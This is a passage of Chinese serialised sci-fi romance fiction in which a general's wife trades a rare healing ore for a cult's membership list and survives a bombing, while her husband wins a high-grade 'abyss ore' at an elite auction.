居然是掌控了帝国50%以上媒体渠道的西西多格·希斯托利亚女士!
今天到底是什么日子啊?!
与克诺洛斯的风格大相径庭,西西多格披着华美的长袍,一袭经典的白色卷发无比显眼。她的身边围着一群男侍,无一不拥有各自风格的顶尖美貌。
她毫不顾忌展区规矩地笑完后,说道:“今天可真是热闹。你总是那么爱抢风头。”
后半句是对克诺洛斯说的,不过后者没有回应,自顾自坐下,目不斜视地看着空空的克拉德展位。
西西多格有些嫌弃地赶开商会侍从,在一众美侍的簇拥下走上另一侧的阶梯,在高台落座,与克诺洛斯的高度平齐。
两位位高权重的存在,分别占据了皇冠展厅的两角。
就算是再迟钝的人也能意识到,这场游戏的主角,已经不是坐在台下的她们了。
管家如同一尊注入灵魂的大理石雕像,没有对二位的突然莅临展现出任何情绪。
他抬手看了看虚拟轮表,伸出一根手指转动轮盘,穹顶上的虚拟时钟同时转动,一时间,日月流转,大厅的环境被调整为了“双星合璧”开始前的十分钟。
上空星云环绕,两颗星球在以人类无法辨别的速度缓缓靠近。
管家提醒道:“星球重合之时,就是克拉德展出的时候。现在,请所有人佩戴防护手环,确认落座后不要离开位置......”
“慢着。”
这是今天第二场意外。管家抬眸看向入口处,一名身穿军装的男子走进展厅,立正站好。
众人看到军方的人来了,无不脊背发凉。
帝国军方总是令人敬畏的存在,它一向和皇室关系紧密,是特殊的特权阶级。军方的出现无异于直接告诉她们:帝国那些最高贵的存在,也在关注这场高级深渊矿的展出。
上位者总有让人等待的权力。那个还未出场的军官,凭一己之力将高级深渊矿展推迟了整整三分钟,三分钟过后,那人迈着有力的步子出现在展厅门口。
是帝国军备统筹部委员,凌家凌宸!
他气势凛然的将级军装和披风一出现,台下噤若寒蝉,比前两位出来的时候还要紧张。
一直没有动作的克诺洛斯见是他来,抬了抬眸。
西西多格女士在等待的三分钟里享受男侍的按摩,听到这阵动静,慵懒地看向凌宸处,道:“是什么风把军部的人吹来了?”
除了那两位的所有人寒毛直竖,生怕西西多格跟凌宸当面起冲突。
“抱歉有点事耽误,来晚了。”
凌宸没有过多反应,在侍从的指引下登上第三个高台。至此,展厅上方形成等边三角形,军企幕后掌管人、军部高级将领和帝国媒体寡头齐聚一堂。
不知道凌宸此行的目的是什么,多一个人便多一个变数。
西西多格有些忌讳地点了点桌面,连一个眼神都没给地抬起手。红眼睛男侍主动上前躺在她的怀里,被她有一下没一下捏着后颈。
管家确认没有其她人参会后,宣布道:“克拉德将在八分钟后展出。”
就在刚
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才。
安秀又走了十分钟左右,终于走到了虚拟地图显示的出口,只要再穿过走廊出口前的散落的展厅,就可以到达斐拉展出的地点。
她深吸一口气,通过最后一道生物验证口,却被侍从拦下来了。
“这位女士,这片区域已经不通行了。”
安秀暗暗惊讶,问道:“为什么?”
“因为克拉德还有十分钟开展,为了配合虚拟天象,这里的展厅会全部变化位置。考虑到您的人身安全,请选择别的路线。”
“克拉德不是晚上八点才展出吗?”
她明明记得克拉德的展出时间,展馆根本就不应该在这种时候转移展厅。
“抱歉不能告知原因。”
安秀查看了最近的路线,居然要绕二十多分钟,一抬头,上面的接驳车也暂时停运了,她没法及时赶到斐拉展厅。
这种稀有矿展厅,是谢绝迟到宾客的。
“就没有其它方法了吗?”
侍从见她穿着价值不菲的衣服,又核对了一下她的身份信息。虽然不知道她是哪位军官的夫人,但那个军官的军衔隐藏了,应该地位很高。
也不知道这位女士为什么会一个人行动。
侍从礼貌地回答:“女士,如果实在着急的话可以联系家属,有专门通道。”
安秀噎住了,一时间不知道怎么回应侍从的提议。
“女士?”侍从拿着她的身份证明迟疑地看着他。
“其实我的丈夫......已经牺牲了。”安秀闭上眼,言辞悲切地说出这句话。
此时,正在赶往皇冠展厅的凌宸突然轻咳了一声。一旁的下属问道:“长官,有什么吩咐?”
“快点过去吧。”
“是。”
凌宸有些不自在地皱了皱眉。大概是冷风从披风灌进来的原因,他总觉得背后凉凉的。
侍从见安秀神情忧伤,连忙道歉:“对不起,我不知道,请您节哀。”
她一边叹气,一边观察年轻侍从的表情,说:“请你通融通融,放我过去吧。”
侍从的态度有些松动,但很快转为为难:“这......”
突然,侍从的通讯器亮了起来。侍从阅读后,对安秀微笑道:“真是太巧了,克拉德展会推迟了三分钟,您有两分钟时间通过。”
“谢谢,”安秀的有些惊喜,不过想起自己的身份,调整了一下语气,“看来,是永远归于深渊的丈夫在保佑我。”
信徒在胸前虔诚地比划了几下:“愿他安息。他一直与你同在。”
与其同时的凌宸紧了紧披风。
安秀终于来到了斐拉展厅门前,一颗大大的绿色中级深渊矿的虚拟影像立在展厅正前方,其纹路清晰可见。
门口吹出的凉风有点冷,不过她顾不得这些,在侍从的指引下进入了展厅。
展厅内无比安静,人们都在等待这个展厅的主角——斐拉矿的拍卖,因此没人注意到她的身影。
距离克拉德开展还有八分钟,距离斐拉开始拍卖还有七分钟。
21.落网之鱼
任何一个稀有矿物的展厅都极度注重客人的隐私,在最后一个客人落座后,她们的座位平缓升起、错开,并形成一个个虚拟空间,没人知道旁边坐的是谁。
安秀从口袋里取出一个芯片,是当时凌宸为了恢复信号从黑衣人那里搜刮出来的。
她捣鼓了整整三分钟,利用芯片形成的小范围信号真空无痕登陆了“已经死去的”身份,并将商会地下那些诡异符号的位置记录在了这个备用账号里。
这么做并非多此一举,而是为了在保留信息的同时,防止真实身份被拜神教追踪。
她删掉正式账号中的行动路线并导入了另外一个行动路线,操作完毕后,便毫不犹豫地芯片捏碎了。
安秀长呼一口气,靠在椅背上,用死去身份的账号给矿主发了一条信息。
「按照我们约定好的。」
矿主那边很快显示已读。同一时间,展厅的灯光暗了下去,一道悦耳的声音传入每个宾客的耳朵。
“斐拉拍卖,正式开始。”
展厅的正中间,升起了一个展台,斐拉在展台的上方漂浮,沿一个无形的球体表面做规律性圆周运动,形成三维立体的“球状轨迹”。
它缩小后的虚拟影像同步出现在安秀的桌面,墨绿色如同古老的潭水,在外层光晕的晕染下折射出翠绿和孔雀蓝。
这是她第一次见到真正的稀有矿石,美丽得不像自然界会出现的东西。
“斐拉,中级高等成色深渊矿石,开采于帝青星,可治疗深渊基因病等疾病,疗愈系数为......”
在一长串的介绍后,主持人宣布:“100万起拍,拍卖开始。”
叮——
正前方漂浮的隔间亮起:“300万交易币。”
“310万。”
“350万。”
周围的宾客不停亮起标牌,展厅内闪烁起一圈圈的光。
“800万。”
“820万。”
“1500万。”
同一个人两次大幅加价,四周陷入短暂的寂静,一直静观其变的安秀抬起了眼眸,弯了弯嘴角。
鱼,上钩了。
她不紧不慢地按下拍卖按钮,隔间的光芒瞬间盖过其她宾客。
“2000万。”
……
皇冠展厅在热闹的斐拉展厅的另一头,剑拔弩张的气息,几乎将权贵们的体面刺破。
此时星象已成,一个怪异的、形似经过深渊粒子变异后的山羊眼睛的晶矿悬在皇冠型的展台上,好像随时要活过来。
台下没有如此近距离接触过高浓度深渊粒子的宾客,哪怕带着保护手环,还是反呕了起来,有些甚至直接晕倒,被抬了出去。
只有高处三个上位者气定神闲地看着克拉德,丝毫没受影响。
这是她们今天要争夺的目标。
管家介绍完克拉德后,场内安静半晌,几乎听得见宾客起伏的呼吸声,上面三位不说话,她们没有胆子多言一句。
在这种规格的“高级深渊矿展会”中,买家自行交换有价值的事物,商会提供绝对中立的价值换算,因此没有固定的拍卖流程。
终于,一直低调的克诺洛斯抬了抬眼睑,打破平静,给出了这场拍卖的底价。
“一百亿帝国交易币。”
宛如一颗有存在感的石子砸到水面,台下的宾客一阵眩晕。这个价格,在场一半以上的人就算卖掉全部家当也无法达到。而这种级别的数字,竟然只是底价。
这就是,军企资方的实力。
西西多格抬了抬手,示意自己要加价,但她不着急说数字,而是当着克诺洛斯的面,揉了揉跪在地上的男侍的头发,嗤笑道:“一百亿,你是破产了?”
“我在破冰。”
克诺洛斯说完这句话后,升起了高台的屏障,高台轻轻的“啪”地响了一下,隐去了克洛诺斯的身影。
“两百亿。”西西多格无聊地撑着面颊,随意报了个数。两百亿,对她来说跟两块钱差不多,实在没意思。
她报完这个数后,展厅陷入一阵安静,显然两位女士都在等待第三个人的答复。
然而台下绝大多数人看凌准将没有跟价的倾向,谁也不敢先走一步,更何况跟价对象是西西多格。
“两......两百零一亿。”
一个穿着皱巴巴西装的人颤颤巍巍举起手,被西西多格一个眼刀横得缩了一下,又拼尽勇气道:“两百零一亿!”
台下的宾客惊讶地看着这位勇士,并非意外有人有这么多钱,而是他敢于跟西西多格女士对着干。
西西多格当然不屑于跟这种人较量,优雅地翻了个白眼,打响指让一名白发美侍喂自己水果吃,半躺在椅子上享受服侍。
就连在场钱多得没处花的权贵们,都不得不佩服西西多格的奢靡程度。她的身边至少围了六到七个男侍,据说还只是轮班的一部分。
高台在短短数分钟内被装点成符合她审美的华丽风格,甚至自备美酒美食。
不知道的,还以为她在什么贵族餐厅,而不是在进行紧张的拍卖。
同样是高台,克诺洛斯女士除了两名随身侍从外,再也没有别的配置;更不论年轻的凌准将,笔挺干净地坐在高台,身边只有一名军官。
“两百零二亿。”陆陆续续有人加价。
“两百零五亿。”
“撤回,已收到加码。”
“驳回加码,估值两百零七亿。”
普通人一辈子无法想象这种加价幅度,西西多格却连着打了几个哈欠,小声念叨着这场闹剧什么时候结束。
她看向克诺洛斯的方向,然而她已经隐身;她又看向凌准将的方向,见他端端正正坐着,无趣地哼了一声。
“凌准将,你大驾光临,要等到什么时候加价?”
她不想跟台下的人争,那样太掉价。
凌宸朝她颔首,不卑不亢地回答道:“我只是来看看。”
高台上的一切私人对话被设置为隐私模式,不会有第三个人知道上面的人在说什么。
“哼,也是。你也没那个能耐。”
在她看来,哪怕他是将族世家、金字塔顶尖的年轻将领,也不可能拍到克拉德。他不过是军方派来的眼线,就算再想要,也只能
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在旁边干着急。
想到这里,加上凌宸生得俊美,她恶劣的心思更甚。
“呵,你的脸蛋......”
“我有老婆。”
还没等西西多格把话说完,凌宸就跟预判了似的打断。末了,还加上一句带有警告语气的话:“我们很恩爱。”
凌宸虽然面上保持体面的神情,但周身的气压明显降低了不少。
“哦,我知道,你有个妻子,”西西多格并没有因为他的态度生气,意有所指道,“是红眼睛,是吧?”
“哗啦!”果盘碎在了地上,男侍被同事拍了一下,这才反应过来,慌乱地低声道歉,头几乎要埋到胸前。
“没用的东西。”西西多格嫌弃地看了他一眼,“红眼睛就是笨。你说呢?”
“西西多格女士,我不在乎你如何评价别人,但请不要对我的妻子发表不好的言论,”凌宸压低了声音,一字一句道,“侮辱她,就是在侮辱我。”
安秀睁开了红宝石般的眼睛,在隔间闪烁的灯光下光彩绝伦。
“两千三百万,成交。”
主持的话音落下,听见不远处的隔间似乎传来一声痛苦的怒吼,但很快被展厅散场的轻柔音乐掩盖了。
斐拉石拍卖进入尾声阶段,宾客逐一散场,有个别匿名宾客联系她第二次交易,她全部拒绝。
有些人重复邀请她,她再次拒绝。
直到剩最后一个人,执着地、一次又一次邀请她。安秀知道这就是她要找的人。
“我可以当掉家里的东西,能把斐拉卖给我吗?”
两人的中间隔着一道屏障,用于展品拍卖结束后的私人匿名沟通。
“你为什么要斐拉?”
“我的弟弟得了重病,要这种石头才有可能治好,我已经等这个机会等了很久了。”
“可以关闭屏障,让我看看你吗?”
那人关闭了屏障,一个瘦削、米白色短卷发的女人出现在安秀眼前。米诺的眼睛很大——比正常人要大上不少,显得有一些偏执,薄薄的嘴唇用力地抿着,穿着还算得体的绿色毛呢外套,但看款式不算新了。
安秀敛了敛神,问:“东西,带来了吗?”
米诺整个人像触电一样抖了一下,然后缓缓站起来。她的腿几乎和旁边的柱子一样细,让人怀疑能不能支撑一个成年人的身体。
她张了张嘴,然后又死死咬牙:“你果然没死。”
“这么想杀我,失败了,很遗憾吧?”
屏障是单向的,米诺看不到她长什么样,当然为了以防万一,安秀换上了之前的虚拟形象。
“我要的东西,我们交换。”
米诺后退几步,瘫倒在椅子上,喃喃道:“我不能背叛姐妹会。”
“有得必有失。救你的家人,还是给我名单?”
她的胸膛剧烈起伏起来,呼气声像风吹过破窗一样哧哧响,当安秀觉得她要昏过去的时候,她动了动苍白干燥的嘴唇道:“好,我给你。”
一份加密文档传输到安秀的备用通讯器。
安秀并没有把翡拉交给她,接着说:“给我文档密码。”
22.不想你死
“我一直在等这天,为了我的弟弟,我收集一切可能的信息用于交换,”米诺颤抖着嘴唇说道,“我真的很羡慕你,你应该没有家人的拖累,对吗?”
这突如其来的一句话像一把刀一样横在安秀心间,她升起一股无名的怒火。
“给我,生物码。”
米诺听罢,原本脆弱的眼神一下转变得阴翳十足:“你们根本无法理解我们这种小人物的感受。”
“看来你不是很想救自己的弟弟,”安秀在屏障的另一侧沉声道,“还想拖时间吗?”
“我要看到真正的斐拉。”
安秀将斐拉召唤出来。它随她伸出的手出现在屏障另一侧,像温润的小精灵一样,一圈又一圈地飘着。
米诺睁大了眼睛,小心翼翼地捧起它,抚摸了一下,一股温暖、治愈的力量涌入了她的身体。
然而这股力量很快就消失了,她想抓取,治愈的力量却如水一样从指尖滑去。安秀收回斐拉,命令道:“我们可以开始交换了。”
米诺输入生物码,安秀终于看到了姐妹会名单。
她想用另一个通讯器将名单拍下来,但是好好的名单通讯器镜头里变成了一堆乱码,移开镜头,又恢复了。
“用别的方式记录是没用的,它会在限定时间内销毁,而且只能有一个人阅读全部内容,”隔着一层屏障,米诺似乎意料到她会这么做,“把名单记下来吧。”
“我怎么保证这个名单是真的?”
“你会在以后验证出来的,我保证。”米诺伸出手宣誓。
安秀上下扫视米诺,问:“你是拜神教的人,对吗?”米诺的身份她早已调查好,还看见了她手上那个诡异的眼睛标志。
“愿深渊神与我们同在。”
“我要你以深渊神的名义发誓,这个名单是真的。”
“我发誓,”米诺不知道怎么的变得激动了起来,“它是真的,如果不是的话,我一定会被深渊神抛弃,永远无法回归深渊母亲的怀抱,我以我和弟弟的性命发誓,如果它是假的,我们都会受尽折磨,被撕碎后喂给肮脏的深渊兽!!”
这对拜神教的人来说是相当于毒誓,安秀起身打算离开。
她的目的已经达成了。她并不想报复米诺。
米诺有个可怜的弟弟,她也有,她们是为了家人才做出如今的举动。交易既然已经完成,她们的纠葛也就到此为止了。
想起男侍那双清澈的大眼睛,她的内心就一阵酸楚。
谁曾想,身后传来一阵让人头皮炸开的尖刻声音,她猛地扭头一看,米诺长长的指甲划在光滑的椅子上,发出刺耳的响声。
安秀还没来得及怒斥,米诺尖声笑了起来,发了疯似的冲过来扒在屏障上,眼眶几乎崩裂地瞪着她:“拿走了名单,你以为你还能活着出去吗!”
智能体系统检测到冲突,要将米诺拖走,后者大笑的声音久久不停歇。安秀的背后冒出一身冷汗。
“真是个怪人。”
她随手拿起通讯器,给凌宸发了条信息,刚想快步离开交易处,耳边响起一声巨响。
“轰!!!!”
温热的感觉还没来得及扩散,眼前就亮起一道白光。
交易处,爆炸了。
凌宸反驳完西西多格的话,便不再发言,静静看着其她二人拍卖。
克诺洛斯一边闭目养神,一边抬了抬手:“三百亿。”
“四百亿。”
“六百亿。”
“西西多格,”克诺洛斯抬了抬眼睑,轻叩桌面道,“不要逞强了,你比不过我。”
“呵,依我看,是某人的财力要到头了才说这种话吧,”西西多格不屑地扬了扬头,“再加一百亿。”
“西西多格,你知道拿到克拉德的后果是什么吗?”
“这个问题原封不动还给你,呵呵,居然有人把这种肮脏的东西当做宝贝供着,也不嫌脏。”
“力量无关对错,克拉德给了你只会被浪费,而给我,它能发挥最大的效用。”
“七百零一亿。”
一声突兀的加价转移了她们两个的视线,又是那个穿着皱巴巴西装的人。
“不知好歹的东西,”西西多格正在气头上,将一个昂贵的晶杯摔了出去,后者顷刻间碎成齑粉,“没看见我们在聊天吗!”
“对不起,”下面那个人缩了缩脖子,“有隐私模式隔绝,我听不见。”
对着这样一个小人物发怒,显然不在西西多格本人的意料中,她冷哼一声,让旁边的男侍给她泄火。
克诺洛斯似乎是想到了什么,看向凌宸的方向。自始至终,凌宸除了维护安秀的那段对话,没有发表过任何意见,仿佛他真的只是来视察一样。
哪怕竞争到白热化的现在,他也气定神闲地端坐,连他四周的空气都与她们的隔绝开来,平静无比。
凌宸注意到她打量的视线,看了眼时间。
这个不起眼的动作,让克诺洛斯心跳疯狂鼓动了起来。
果然!!
“抱歉打断诸位。克拉德,我拿下了。”
这是一句宣告。
一时间,震惊、忮忌、愤恨、惧怕的目光全都集中在凌宸的身上。
“什么?!”西西多格不可置信地站了起来。
“你的筹码是什么?”克诺洛斯再也不掩盖自己的目光,压抑住内心的震惊问道。
凌宸旁边的副官拿出一片虚拟屏,大声宣布道:“现已得到皇室许可。克拉德,高级深渊石代号XIU7280,现已归帝国军方所有,用于军事研究。”
“这不可能!”西西多格一拍桌子,怒声道,“别以为我不知道皇室的准许至少要一个月才能批下来,这个展才开了几天?”
参加克拉德的筹展是有相当高的门槛的,连她都是在开展前一天才知道这个消息。她无法动摇皇室拿到的克拉德,竟然让这个毛头小子弄到手了?
“准许刚刚批下来。那么,我先走了。”
凌宸起身,商会管家确认了皇室批准,宣布:“现在,克拉德归凌宸所有。”
这道宣布完毕后,台下死一般的寂静。这种突击式的、毫不拖泥带水的突然出击,实在是太具个人风格了。
原来,这就是凌宸。
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这个刚刚步入军部系统、自入会原来便一直收敛声息的凌准将,必然会在不久后的权贵圈层留下不可磨灭的印象。
克诺洛斯闻言后马上冷静了下来,并未发表观点。对她来说,只要西西多格没拿到克拉德,就是最大的胜利。
西西多格自知大势已去,重归来时的放纵气势,长袍一挥,率先带着男侍们离开展会现场,临走前还不忘扔下一句:
“这是你们自找的。”
凌宸的通讯器突然传来数条优先级讯息,他看完后,脸色一变。
会场中心发生了动乱,不明黑衣人士正在威胁会场,多处发生爆炸。
而下一条消息,更是让他几乎心脏骤停。
「安秀:地下有很多不明标志,为了以防万一,我把位置记下来了。」
她发出讯息的时间和地点,刚好和爆炸重合。
他大步离开展会现场,脚下带起迅捷的风,厉声命令道:“立即平息动乱!”
“是!”
身后的士兵整齐划一地行礼,消失在他身后。副官小跑跟上凌宸,问道:“需要先撤离吗?”
“我要找人,身份讯息已同步传达,让她们救灾的时候注意。”
“是。”
斐拉展厅在展厅的另一头,当带着一队人马到达爆炸地点时,凌宸不知道该如何描述自己的心情。
这里已经被高精密度弹炸得满目疮痍,座椅、屏障已经烂得看不出痕迹,焦黑的遗体碎片的味道令人作呕。
一切都消失了,他来晚了。
......
“长官?”
凌宸回过头,发觉自己已经伫立了很久,这队士兵都在等待他的指令。
“按照我发给你们的标识位置平息动乱,不用管我。”
远处时不时传来爆炸声,惊叫声,一派大气、秩序井然的商会现场成了荒唐的闹剧,只有眼前这副景象在不断提醒他一切都是现实,刺痛他的神经。
安秀死了?
他打心底里不愿接受这样的结果。可是为什么不能接受呢?她们明明才认识几个月而已,她们并不像普通的夫妻那样相爱,甚至充满了利欲熏心的较量和争执。
内心深处的情感拧成一股股绳,打了死结,他无法解析这样的感情。
凌宸强迫自己冷静下来。
他仔细地检查这处爆炸的每一个角落,可是这里已经被炸得面目全非,找不到任何她存活的证据。
他打算呼叫军医进行紧急生物核检,以确认这具尸体是安秀本人的。但他的手罕见地抖了一下,通讯器滑到袖口。他低骂一声。
前不久,安秀才说过,他是她唯一的家人,他把她推开了。而现在,因为自己的失误,他错过了营救她的机会。
像一口名为沮丧的酒,涩口到难以吞咽,穿透到胃里火辣辣地疼。他反复警告自己要保持冷静,可是那酒吞不下去,也吐不出来,只余下翻腾的辛辣臌胀胸腔。
好像深渊之神算准了一般。偏偏在这时,通讯那边传来了下属的求助。
“长官,你快来劝劝夫人吧,她杀疯了!”
23.心跳瞬间
凌宸的脑子“啪”地一声断了弦,在心底重复过无数遍的话,不经思考地脱口而出:“她在哪?!”
“在5号展厅这里,长官,我们要拦不住了!”
通讯那边传来安秀模糊的大喊:“凌宸你还不快过来,老子杀了那么多你还在那傻站着!”
“夫人,你歇歇吧!要是你有个三长两短我们没法交代......”下属欲哭无泪的声音越来越小,不是因为下属走远了,而是因为凌宸再也听不到任何声音,以最快的速度向她奔去。
世界很安静。
他无视所有阻碍穿越展厅,不记得穿过了几处火光,不记得击毙了多少个袭击者,眼里只有那个飞舞在敌人中间的一抹鲜红身影。
凌宸的内心从没有这么震撼过。
安秀,这个前阵子看上去温和体面的皇室长大的女子,正在像破了栏的兽一样厮杀,不知从哪个下属那夺来的能量枪,在她手里化成了死神的镰刀夺取敌人性命。
他顾不得想那么多,加入了她们的战斗,当地的警卫也刚好支援到现场。
没过多久,敌人偃旗息鼓、全军覆没。
安秀擦了把汗,轻松地呼出一口气,有些心虚地看了看只来得及卸下披肩、还穿着一身白色将服的凌宸,先发制人道:“先说好啊,我不计较你迷晕我,你也别计较我跑出来了。”
凌宸也在微微喘气,胸膛前的金链装饰随呼吸起伏。半晌,他似是回过神地听到了她的话,缓缓转身,蓝色的眼眸像一汪水一样望着她。
四周的士兵识相地退下,给夫妻二人相处的空间。
安秀被这眼神盯得浑身不自在,不明白凌宸到底在想什么。
“名单我拿到了,记得给三千万。不对,我还告诉你标记的位置,干掉了好多个敌人,你得多给我点才说得过去。”
“好。”
凌宸点点头,很快回复。
她狐疑地看了眼他,后退了几步:“你没事吧?”
这可不是她认识的凌宸。他总是冷漠、疏离,甚至冷酷。哪怕她们经历过一些事情,她依旧以为他是忌惮她的。
凌宸怔了半秒,眨了一下眼睛,终于变回了平常的样子。
“军医,”他语气严厉地军医过来,但目光一直若有若无停在她身上,“看不到她受伤了吗?”
军医忙不迭赶来为她疗伤,安秀的两片袖子因为碍事被她撕了个七七八八,胳膊裸露在外,难免挂上一点彩,不过伤得不重。
只是用治疗剂喷了一下,伤口就开始迅速恢复。
“这是最高级的治疗剂,喷一下就可以消毒痊愈。需要我安排后续治疗吗?”
“不需要。”安秀率先回答。她的伤口痒丝丝的,能感觉到军医说得不假。既然如此,就没必要浪费宝贵的医疗资源了。
凌宸对军医下令:“这三天,我要你安排一个全面检查,时刻观察她的情况。”
“是,长官。”
安秀有些不满地看向凌宸:“我说了不要。”
“不知道□□含不含有未知毒性,如果是难以检测出来的慢性毒就糟了,三天是全面检查的最短期限,”凌宸将那句话咀嚼了半天,才缓缓低声道,“你刚刚,差点死了。”
“不是差点,是真的快死了。”安秀把他拉到一边,身后的卫兵护送她们去往星舰处,“偷偷告诉你,爆炸的那一瞬间,我是真的看见深渊在向我招手,不过斐拉救了我一命。”
听到她亲口说出“快死了”这三个字,凌宸刚刚调整好的心态又受到了冲击。
安秀完全没注意到他的微表情,满脸只有回味:“幸好我留了一手。那个米诺不知道斐拉是认主的,如果她不搞小动作,我也就不把斐拉召唤回来了,可惜她不识相。”
安秀抬起手,一颗绿色的小石头环绕在她小臂,“爆炸的时候,斐拉感应到我的召唤,瞬间治愈了我。”
“所以,你濒死过一次。”凌宸抓到了他所认为的重点。
“这不是重点吧,重点是我把她们都干掉了。”她不满地撇了撇眉,纠正凌宸的说辞,“你这么说,就像在怀疑我的能力,说我很弱。”
“没有在怀疑你的能力。”
他暗暗握拳,绷紧了下颚。
不知不觉,二人走到了展会大门,凌宸停下了。
“军部还有个紧急会议,我就送你到这里。”
“我听说了,你在那两个人面前拿到了克拉德,还不赖。一会应该有数不清的工作要收尾吧?”
一旁的士兵观察凌宸的眼色,将披风递上来。凌宸把披风抖开,悉心披在她的肩上。
安秀张了张嘴,有些讶异又好笑地问道:“你这是干什么?”
“克拉德展出的天象让这片区域下雪了,外面冷,你还要走一小段路,披风保暖功能很好。”说罢,凌宸帮她理了理披肩。
门口确实有点冷,外面不知什么时候变得白雪皑皑,披风确实让她暖和了不少。
但这无法解释凌宸为什么会这么主动。
安秀盯着凌宸看了一会,又看了看他身后的一队下属,刚刚一直潜伏在内心的疑惑终于解开了。
她微笑道:“我懂了。”
凌宸在维持模范夫妻的人设。在这种情况下还能顾及这样的细节,不可谓不周到。不过,她也不是笨蛋,不至于暗示那么明显了还看不出来。
要演,就演到底。
“懂什么?”凌宸此时还沉浸在某种复杂感情中,对安秀突如其来的动作没有一点心理准备。
她裹着他的白色披风,稍稍上前一步,凑到凌宸的眼前,两人的脸颊几乎贴在一起。都是年轻人,她们的脸带着血气充盈的热度,呼出的气息打在对方的脖颈。
凌宸僵直了身子,几乎忘记怎么呼吸,脸上传来柔软的触感,带着她清冽的发香。
过了半天,他才反应过来是安秀亲了他一口,说了一句什么话,然后在士兵的护送下走了。
一粒雪花飘在了安秀亲吻的那块脸颊,很快被停留的温度融化成了小小的水滴。他望着她离
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开的背影,白色的披风化成漫天的雪。
她好像说,我在家等你。
他的心脏像疯了一样狂跳起来,浑身升起的热量比刚才杀敌的时候还多,久久不能抑制。
安秀确实等了很久。
已经晚上九点了,她在凌家宅邸坐立难安、来回踱步。
连索菲娜都被她叫来缓解焦躁的心情,雕刻繁复花纹的繁贵桌子上放着一整碗鲜烹花茶,还有各式各样的小零嘴。
索菲娜看着她又喝了一口花茶,劝道:“小姐,你还是吃点晚饭吧,零嘴不能当饭吃呀。”
“凌宸那个家伙,说要了要他早点回家、早点回家,现在还不回。”安秀的眉头皱得很深,她已经很久没这么生气过了。
姐妹会的名单只能由一个人阅读,并且会在限定时间内消失。临走前,她顾忌旁边有人,只跟凌宸说早点回家,她在家等他,凌宸还点了头。
眼看着名单上的指针今晚就要走到尽头,她打了好多个通讯,完全没有回复的迹象。
等待的时间越久,丝丝怒气也会编织成一张大网。
也不是没想过一个人把名单看完,但刚刚打开的时候,这份名单貌似多了一个小机关,接触了有副作用,她不知道怎么解开。
这是一个危险的信号,意味着姐妹会可能起了警戒心,追踪名单并对它做了手脚。因此,这是只有凌宸才能安全打开的名单,过了今晚——甚至可能不用那么久,它就完全失效了。
这关乎她的资产和前途,还有米莉的女儿达米安的前途,说不焦急是假的。
谁想要用命换来的成果在自己眼前消失啊?
“小姐,你可千万不要自己打开,”索菲娜看她一副跃跃欲试的样子,紧张地提醒道,“名单的副作用很危险,先保护好自己。”
“这是自然,索菲娜。”安秀回过神来,给了她个安心的眼神,“我不会这么干的。”
但是如果凌宸在五分钟之内还不回来,她会这么干。
“时间不早了,我先回去休息了,”安秀用手背遮住嘴,佯装打了个哈欠,起身走到楼梯口,“你也早点休息,索菲娜。”
五分钟。
凌宸看了眼时间,又看向窗外,凌家宅邸已经出现在视野,智能系统正常运作,于黑夜中闪烁着星星点点的光。
安秀说了在家等他回来,他虽然知道这并不是她的真心话,但还是尽己所能快速结束了工作,马不停蹄登上了回家的私人舰艇。
会议开的时间比他想象的还要长。他以军方的名义拿到这颗克拉德,上头的人就像嗅到了肉的狼一样蠢蠢欲动,后面的党派之争只会愈演愈烈,而不出所料,他成了所有人勾结或解决的目标。
今天的会议不亚于鸿门宴,好在他把克拉德守住了。
想要为受到沉重打击的凌家,在权力倾轧的军部争取一席之地,他有必要冒这个风险。
虽然接下来还有很多事情要考虑......
但,还有不到五分钟,他就要到家了。
24.慢性毒药
凌宸到家的时候,大厅只开了副灯,智能体在清理桌面上的花茶和零食,一切很安静,但不知为什么,他很安心。
家人。
他已经很久没体会过家人的感觉了,母亲很早去世,而父亲忙于工作,他总是一个人面对空旷的宅邸。
凌宸走到安秀门前,门内还亮着微弱的光。
他抬起手想敲门,但是指关节停留在离门一寸的地方,没有敲下去。
一向习惯雷厉风行的他犹豫了,他不知道以她们现在的关系,该不该做出这个举动。
这个时间,安秀应该在休息。经历了这段时间的筹备商会、执行计划和生死关头,她应该很累了。
姐妹会的事可以明天再说。
想到这,他刚要转身,门内的人打开了门上的对话器,问:“凌宸,是你吗?”
五分钟的时间已到,安秀已经召唤出斐拉,提出了姐妹会文档,正打算和这个诡异文档的副作用正面对决,但是智能体提醒外面有人。
凌宸站在门前,谨慎地想了一下自己应该说什么,被安秀不耐地催促了。
“还愣着干什么,快进来呀。”
“?”
她这是在邀请自己?
“要来不及了,”房门打开,安秀的声音由远及近。她快步上前将一个东西塞到他手里,“你快去解析。”
凌宸了解前因后果后,明白了她想做什么,沉默地把虚拟文档接了过来。
安秀见他动作慢腾腾的,神情好像还比之前更冷漠了,在内心大喊不解,明明她才是等了几个小时的那个人,现在连检验成果都不能自己亲自操作,他有什么发脾气的资格?
怀着各自心事的两人气鼓鼓地来到了书房。
凌宸把文档放进虚拟体解析起来,数据光球开始运转,密密麻麻的术语分析在他的眼前滑动。这还是安秀第一次看到军用级的虚拟体,饶有趣味地看着光球运作。
过了一会,凌宸凝重的声音传了过来:“这个文档不是普通的文档,它连接了某个人的脑际传感,会追踪......”
说到一半,他突兀地停了下来。
“追踪什么?”见他停下来,安秀的眼睛从光球上移开,问道。
凌宸看了她一眼,迅速垂下眼眸,片刻后又深色自如道:“没有什么。”
“可是......”
“文档完好无损,计时已经停止了,这几天会出解析,到时候我就看得到名单了,”凌宸的声音变得坚定且不容置疑,“现在,去休息吧,夫人,剩下的我来就好。米莉的事情已经在安排了。”
安秀听到最后一句,松了口气。
她即将走出凌宸亲手拉开的门,但像是想到了什么,转过身,红色的眼眸闪烁异光,缓缓道:“你刚刚说的那个脑际传感,不会是连的我吧?”
说罢,她有些晕眩,差点失去平衡,凌宸眼疾手快地扶起了她。
“脑际传感连接了米诺,她已经死了,所以姐妹会那边可能知道了。不过她们追查不到我们的身份,军用机密优先级比她们高。”凌宸扶着她,道,“你这几天太累了,快回去睡觉吧。”
凌宸的语气正常到让她怀疑自己的猜测是否很荒谬。不过,他的解释似乎也说得通,安秀相信了他的话。
她揉了揉额角说:“好像是的,最近总觉得很累。”
凌宸送她回到房间,目送她休息,然后返回了书房,关上门。
他的手紧紧握着门把,半天没松开,身上直冒冷汗,远没有刚刚表现的那般冷静。
实在是......太大意了!
他在心中怒斥自己。
这份文档,在叛会者递交之后激活了反侦察模式,用脑际传感连接了第一个尝试阅读的人,也就是安秀。一旦她阅读,文档就会释放高能粒子攻击她的神经系统,造成不可逆的伤害。
